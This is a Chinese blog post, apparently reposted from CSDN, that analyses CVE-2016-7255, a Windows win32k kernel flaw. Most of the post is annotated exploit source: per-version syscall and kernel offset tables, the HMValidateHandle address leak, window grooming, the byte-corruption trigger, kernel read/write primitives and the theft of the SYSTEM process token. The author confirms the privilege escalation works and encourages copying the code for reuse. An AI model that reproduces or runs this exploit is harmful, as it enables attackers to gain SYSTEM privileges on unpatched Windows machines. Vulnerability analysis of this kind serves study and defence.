CVE-2016-7255 Windows内核逻辑漏洞分析

源代码网址:http://www.github.com/mwrlabs/CVE-2016-7255
环境 win7 sp1 x64
漏洞成因:win32k!xxxNextWindow中,由于缺少必要的检查直接将tagWND+0xC0成员偏移0×28对应地址中的值与4进行或操作,而tagWND+0xC0又是可控的,从而导致了任意地址写。
编译代码后跑 会提示按下回车开始提权
在这里插入图片描述
我们现在先来根据打印信息和exp来分析这步之前做了哪些事情
首先获取版本信息然后设置对应数据偏移 这很强大 以后可以直接用到

void DetectOSAndSetVerOffsets() {

	printf("Finding OS version\n");
	void *baseInfo;
	//检索指定文件的版本信息的大小
	unsigned long verInfoSize = GetFileVersionInfoSize(TEXT("kernel32.dll"), &verInfoSize);

	void *fileVersionInfo = new char[verInfoSize];
	//检索指定文件的版本信息。
	GetFileVersionInfo(TEXT("kernel32.dll"), 0, verInfoSize, fileVersionInfo);
	unsigned int baseInfoSize = 0;

	//从指定的版本信息资源中检索指定的版本信息。为了获取相应的资源,你打电话之前VerQueryValue,
	//GetFileVersionInfoSize功能,然后GetFileVersionInfo函数。
	VerQueryValue(fileVersionInfo, TEXT("\\"), &baseInfo, &baseInfoSize);

	VS_FIXEDFILEINFO *verInfo = (VS_FIXEDFILEINFO *)baseInfo;
	DWORD dwMajorVersionMsb = HIWORD(verInfo->dwFileVersionMS);
	DWORD dwMajorVersionLsb = LOWORD(verInfo->dwFileVersionMS);

	//根据版本信息来设置系统调用 NtUserGetAncestorSyscallNumber与NtUserSetWindowLongPtrSyscallNumber的服务号
	//然后设置提权所需要的内核数据偏移
	if (dwMajorVersionMsb == 6 && dwMajorVersionLsb == 1) {
		NtUserSetWindowLongPtrSyscallNumber = 0x133a;
		NtUserGetAncestorSyscallNumber = 0x10b2;
		UniqueProcessIdOffset = 0x180;
		TokenOffset = 0x208;
		ActiveProcessLinks = 0x188;
		KProcessOffset = 0x50;
		printf("Windows 7\n");
	}
	else if (dwMajorVersionMsb == 6 && dwMajorVersionLsb == 2) {
		NtUserSetWindowLongPtrSyscallNumber = 0x13d9;
		NtUserGetAncestorSyscallNumber = 0x10b2;
		UniqueProcessIdOffset = 0x2e0;
		TokenOffset = 0x348;
		ActiveProcessLinks = 0x2e8;
		KProcessOffset = 0x98;
		printf("Windows 8\n");
	}
	else if (dwMajorVersionMsb == 6 && dwMajorVersionLsb == 3) {
		NtUserSetWindowLongPtrSyscallNumber = 0x140d;
		NtUserGetAncestorSyscallNumber = 0x10B3;
		UniqueProcessIdOffset = 0x2e0;
		TokenOffset = 0x348;
		ActiveProcessLinks = 0x2e8;
		KProcessOffset = 0x98;
		printf("Windows 8.1\n");
	}
	else if (dwMajorVersionMsb == 10 && dwMajorVersionLsb == 0) {
		NtUserSetWindowLongPtrSyscallNumber = 0x146e;
		NtUserGetAncestorSyscallNumber = 0x10b4;
		UniqueProcessIdOffset = 0x2e8;
		TokenOffset = 0x358;
		ActiveProcessLinks = 0x2f0;
		KProcessOffset = 0x98;
		printf("Windows 10\n");
	}
}

然后获取HMValidateHandle函数地址
HMValidateHandle是的内部未导出函数user32.dll。它使用一个句柄和一个句柄类型作为参数,并且通过查找句柄表,如果句柄与类型匹配,它将把对象复制到用户内存中。如果对象包含一个指向自身的指针,tagWND则可以使用它从内核中泄漏内存地址。这项技术很久以来一直是众所周知的技术,我认为这是在塔吉·曼特(Tarjei Mandt)的2011年BlackHat美国演讲中首次提及,您可以在此处找到PDF:https://media.blackhat.com/bh-us-11/ Mandt / BH_US_11_Mandt_win32k_WP.pdf 关于这一点的文档很多,并且它在许多Windows内核利用中都被广泛滥用。

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}
	//Step 4.2
	//函数IsMenu 用来确定句柄是否为菜单句柄
	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	//obviously a more elegant solution would be to scan memory for the true start...
	pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}

这种类似shellcode套版的东西,不用太仔细去刨根问底的去在意这段代码做了什么,有现成的就直接拿来用 以后用到了直接拷就完事了
继续分析

void FindMemoryOffsets() {
	//Step 4.1
	WNDCLASSEX wnd = { 0x0 };
	wnd.cbSize = sizeof(wnd);
	wnd.cbWndExtra = 0x10;
	wnd.lpszClassName = TEXT("ExtraMemOffset");
	wnd.lpfnWndProc = MainWProc;
	int result = RegisterClassEx(&wnd);
	if (!result)
	{
		printf("RegisterClassEx error: %d\r\n", GetLastError());
	}


	HWND extraMemFindWindow = CreateWindowEx(0, wnd.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
	
	//泄露tagWND tagWND对应一个桌面堆. 内核的桌面堆会映射到用户态去. HMValidateHandle能够获取这个映射的地址. 
	void * extraMemAddr = pHmValidateHandle(extraMemFindWindow, 1);
	// 设置窗口属性 0x31323334用来标识对话框
	SetWindowLong(extraMemFindWindow, 0, 0x31323334);

	//Step 4.3
	for (unsigned int i = 0; i < 0x1000; i++) {
		unsigned long* data = (unsigned long*)((unsigned long long)extraMemAddr + i);
		if (*data == 0x31323334) {
			printf("Found extra memory offset: 0x%X\n", i);
			ExtraMemoryOffset = i;//获取偏移
			break;
		}
	}
	//Step 4.4
	DestroyWindow(extraMemFindWindow);//销毁窗口

	//Step 4.5
	WNDCLASSEX wndCbHuntA = { 0x0 };
	wndCbHuntA.cbSize = sizeof(wndCbHuntA);
	wndCbHuntA.cbWndExtra = 0x118;
	wndCbHuntA.lpszClassName = TEXT("wndCbHuntA");
	wndCbHuntA.lpfnWndProc = MainWProc;
	result = RegisterClassEx(&wndCbHuntA);
	if (!result) {
		printf("RegisterClassEx error: %d\r\n", GetLastError());
	}

	WNDCLASSEX wndCbHuntB = { 0x0 };
	wndCbHuntB.cbSize = sizeof(wndCbHuntB);
	wndCbHuntB.cbWndExtra = 0x130;
	wndCbHuntB.lpszClassName = TEXT("wndCbHuntB");
	wndCbHuntB.lpfnWndProc = MainWProc;
	result = RegisterClassEx(&wndCbHuntB);
	if (!result) {
		printf("RegisterClassEx error: %d\r\n", GetLastError());
	}
	//再次注册两个窗口并创建
	//Step 4.6
	HWND cbOffsetFindWindowA = CreateWindowEx(0, wndCbHuntA.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
	HWND cbOffsetFindWindowB = CreateWindowEx(0, wndCbHuntB.lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);

	//获取tagWND
	//Step 4.7
	void *cbOffsetFindWindowAAddr = pHmValidateHandle(cbOffsetFindWindowA, 1);
	void *cbOffsetFindWindowBAddr = pHmValidateHandle(cbOffsetFindWindowB, 1);
	//Step 4.8
	for (unsigned int i = 0; i < 0x1000; i++) {
		unsigned short* data = (unsigned short*)((unsigned long long)cbOffsetFindWindowAAddr + i);
		if (*data == 0x118) {
			unsigned short* check = (unsigned short*)((unsigned long long)cbOffsetFindWindowBAddr + i);
			if (*check == 0x130) {
				printf("Found cbWndExtra offset: 0x%X\n", i);
				cbWndExtraOffset = i;
				break;
			}
		}
	}
	//再次销毁两个窗口
	//Step 4.9
	DestroyWindow(cbOffsetFindWindowB);
	DestroyWindow(cbOffsetFindWindowA);
}

能看出来 这个函数主要做了这几件事
先创建一个窗口 销毁 获取标识对话框标志偏移
然后创建两个窗口 再次销毁 并把第三个窗口的cbWndExtraOffset偏移保存起来
该成员表示的是窗口附加数据的大小。如果能够通过修改窗口附加数据的大小来覆盖关键地址,之后再利用其他方式写入数据,就可达到完美利用。
现在来看看这个cbWndExtraOffset在哪

在这里插入图片描述
在这里插入图片描述
两个偏移在这里插入图片描述
继续

void CreateTargetWindows() {
	//Step 6.1
	printf("Creating target primary and secondary windows\n");

	WNDCLASSEX wnd = { 0x0 };
	wnd.cbSize = sizeof(wnd);
	wnd.lpszClassName = TEXT("MainWClass");
	wnd.lpfnWndProc = MainWProc;
	int result = RegisterClassEx(&wnd);
	if (!result)
	{
		printf("\tRegisterClassEx error: %d\r\n", GetLastError());
	}
	//创建一百个窗口
	HWND spares[0x100];
	for (unsigned int i = 0; i < 0x100; i++) {
		HWND spare = CreateWindowEx(0, wnd.lpszClassName, TEXT("WORDS"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
		spares[i] = spare;
	}

	//Step 6.2
	for (unsigned int i = 0; i < 0x100; i++) {
		//获取Tag
		THRDESKHEAD *hTagOne = (THRDESKHEAD *)pHmValidateHandle(spares[i], 1);
		unsigned long long hTagOneAddr = (unsigned long long) hTagOne->pSelf;

		for (unsigned int j = 0; j < 0x100; j++) {
			if (i != j) {
				THRDESKHEAD *hTagTwo = (THRDESKHEAD *)pHmValidateHandle(spares[j], 1);
				unsigned long long hTagTwoAddr = (unsigned long long) hTagTwo->pSelf;
				if (hTagOneAddr > hTagTwoAddr) {
					unsigned long long diff = hTagOneAddr - hTagTwoAddr;
					if (diff < 0x3fd00) {
						printf("\tPrimary hTagWnd address: 0x%llx\n", hTagTwoAddr);
						printf("\tSecondary hTagWnd address: 0x%llx\n", hTagOneAddr);
						primary = spares[j];
						secondary = spares[i];
						break;
					}
				}
				else {
					unsigned long long diff = hTagTwoAddr - hTagOneAddr;
					if (diff < 0x3fd00) {
						printf("\tPrimary hTagWnd address: 0x%llx\n", hTagOneAddr);
						printf("\tSecondary hTagWnd address: 0x%llx\n", hTagTwoAddr);
						primary = spares[i];
						secondary = spares[j];
						break;
					}
				}
			}

		}
		if (primary != NULL) {
			printf("\tTargets found!\n");
			break;
		}
	}
	//当创建100个 窗口的tagwnd偏移差小于0x3fd00时会保存起来
	printf("\tHWDN primary = 0x%llx\n", primary);//触发漏洞窗口
	printf("\tHWND secondary = 0x%llx\n", secondary);//利用漏洞窗口
	//Step 6.3
	for (unsigned int i = 0; i < 0x100; i++) {
		HWND tmp = spares[i];
		if (tmp != primary && tmp != secondary) {
			DestroyWindow(tmp);
		}
	}
	printf("\tSpare windows destroyed\n");
	SetWindowText(secondary, TEXT("text"));
}

然后程序创建了100个窗口 保存了这100个窗口中tagwnd偏移差小于0x3fd00的tagWND和这两个窗口的句柄,一个作为触发漏洞的窗口,一个作为利用的窗口。
在这里插入图片描述
继续

在这里插入图片描述
按回车的上一步就是获取该成员变量的地址
在这里插入图片描述

在这里插入图片描述
cbWndExtraOffset是之前获取到的偏移 然后加上twn在内核中的地址 不过最后加上3字节暂时没弄明白什么意思
现在我们按下回车
随着屏幕一顿操作(窗口乱闪)。。
提权成功了

在这里插入图片描述
然后我们分析他是怎么利用的
下面是利用部分

void CorruptByte(unsigned long long addr) {
	//Step 6.4
	WNDCLASSEXW wndClass = { 0 };

	wndClass.cbSize = sizeof(wndClass);
	wndClass.lpfnWndProc = DefWindowProcW;
	wndClass.lpszClassName = TEXT("cve-2016-7255");

	if (!SUCCEEDED(RegisterClassExW(&wndClass))) {
		return;
	}

	HWND parent = CreateWindowEx(0, wndClass.lpszClassName, NULL, WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);

	if (parent == NULL) {
		return;
	}
	//WS_CHILD为触发漏洞的窗口类型
	HWND child = CreateWindowEx(0, wndClass.lpszClassName, TEXT("child"), WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, parent, NULL, NULL, NULL);

	if (child == NULL) {
		return;
	}
	
	//Step 6.5 + 6.6
	//SetWindowLongPtrsyscall会调用NtUserSetWindowLongPtr函数
	//NtUserSetWindowLongPtr会对tagwnd的spmenu成员进行与0x4
	SetWindowLongPtr(child, GWLP_ID, addr - 0x28);

	//Step 6.7
	ShowWindow(parent, SW_SHOWNORMAL);

	//弹出窗口
	SetParent(child, GetDesktopWindow());
	//并激活到前台窗口
	SetForegroundWindow(child);

	//按键VK_MENU来触发xxxNextWindow函数的调用。漏洞触发后,
	//窗口1的附加数据长度变为0×4000000,覆盖了窗口2的tagWND结构体。
	SendAltShiftTab(4);

	//切换窗口
	SwitchToThisWindow(child, TRUE);

	SendAltShiftEsc();
	int i = 0;
	MSG stMsg = { 0 };
	while (GetMessage(&stMsg, NULL, 0, 0) && i < 20) {

		SetFocus(parent);
		SendAltEsc(20);
		SetFocus(child);
		SendAltEsc(20);

		TranslateMessage(&stMsg);
		DispatchMessage(&stMsg);
		i++;
	}

	DestroyWindow(parent);
	DestroyWindow(child);

}

获取system进程token的地址

void FindSecurityTokens() {
	printf("Looking for current processes security token and SYSTEM security token\n");
	//Step 9.1
	THRDESKHEAD *primaryTagWND = (THRDESKHEAD *)pHmValidateHandle(primary, 1);
	//TagWND.head.pti -> ppi -> Process-> ActiveProcessLinks保存所有进程的EPROCESS对象
	unsigned long long pti = (unsigned long long)primaryTagWND->h.pti;
	printf("\tSearching for current processes EPROCESS structure\n");
	
	//由于窗口1的附加数据覆盖了窗口2的tagWND结构体,而且可以调用NtUserSetWindowLongPtr函数对窗口的附加数据进行写操作,
	//这意味着可以操作窗口2的tagWND结构体。
	//如果将某个内核地址写入窗口2的tagWND结构体中的某个成员,再利用其它函数读取该成员的值,
	//tagWND的spwndParent成员。该成员偏移为0×58。
	///ReadPtrFromKernelMemory读取
	unsigned long long threadTagPointer = ReadPtrFromKernelMemory(pti);
	printf("\ttagTHREAD == %llx\n", threadTagPointer);
	
	unsigned long long kapcStateAddr = ReadPtrFromKernelMemory(threadTagPointer + KProcessOffset);
	printf("\tkapc_stateAddr == %llx\n", kapcStateAddr);
	
	MyEPROCESSAddr = ReadPtrFromKernelMemory(kapcStateAddr + 0x20);
	
	printf("\teprocess == %llx\n", MyEPROCESSAddr);
	
	MySecTokenAddr = ReadPtrFromKernelMemory(MyEPROCESSAddr + TokenOffset);
	printf("\tOriginal security token pointer: 0x%llx\n", MySecTokenAddr);
	
	printf("Searching for SYSTEM security token address\n");

	unsigned long long nextProc = ReadPtrFromKernelMemory(MyEPROCESSAddr + ActiveProcessLinks) - ActiveProcessLinks;
	printf("\tNext eprocess address: 0x%llx\n", nextProc);
	
	unsigned int pid = ReadKenelMemory(nextProc + UniqueProcessIdOffset);
	printf("\tFound pid: 0x%X\n", pid);
	
	while (true) {
		nextProc = ReadPtrFromKernelMemory(nextProc + ActiveProcessLinks) - ActiveProcessLinks;
		printf("\tNext eprocess address: 0x%llx\n", nextProc);

		pid = ReadKenelMemory(nextProc + UniqueProcessIdOffset);
		printf("\tFound pid: 0x%X\n", pid);
		//Step 9.2
		if (pid == 4) {
			printf("\ttarget process found!\n");
			SystemSecurityTokenAddr = ReadPtrFromKernelMemory(nextProc + TokenOffset);
			break;
		}
	}
}

修改token
在这里插入图片描述

void WriteKernelMemory(unsigned long long addr, LPWSTR content) {
	THRDESKHEAD *hTagOne = (THRDESKHEAD *)pHmValidateHandle(primary, 1);
	THRDESKHEAD *hTagTwo = (THRDESKHEAD *)pHmValidateHandle(secondary, 1);
	//Step 8.1
	//
	LARGE_UNICODE_STRING* bufferOriginalAddr = (LARGE_UNICODE_STRING*)((unsigned long long)pHmValidateHandle(secondary, 1) + 0xd8);
	PWSTR contents = bufferOriginalAddr->Buffer;
	//Step 8.2
	unsigned long long extraMemAddr = (unsigned long long) hTagOne->pSelf + ExtraMemoryOffset;
	unsigned long long bufferAddr = (unsigned long long) hTagTwo->pSelf + (cbWndExtraOffset - 8);
	unsigned long long diff = bufferAddr - extraMemAddr;
	//Step 8.3
	NtUserSetWindowLongPtr(primary, diff, addr, NtUserSetWindowLongPtrSyscallNumber);
	//Step 8.4
	//SetWindowText函数会将数据写入tagWND.strname.Buffer
	SetWindowText(secondary, content);
	//Step 8.5
	//调用NtUserSetWindowLongPtr,通过写入数据到窗口1的附加数据区域以覆盖窗口2的tagWND.strname.Buffer成员
	NtUserSetWindowLongPtr(primary, diff, (unsigned long long)contents, NtUserSetWindowLongPtrSyscallNumber);
}

总结:感谢这篇文章
https://www.freebuf.com/vuls/130113.html

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106672148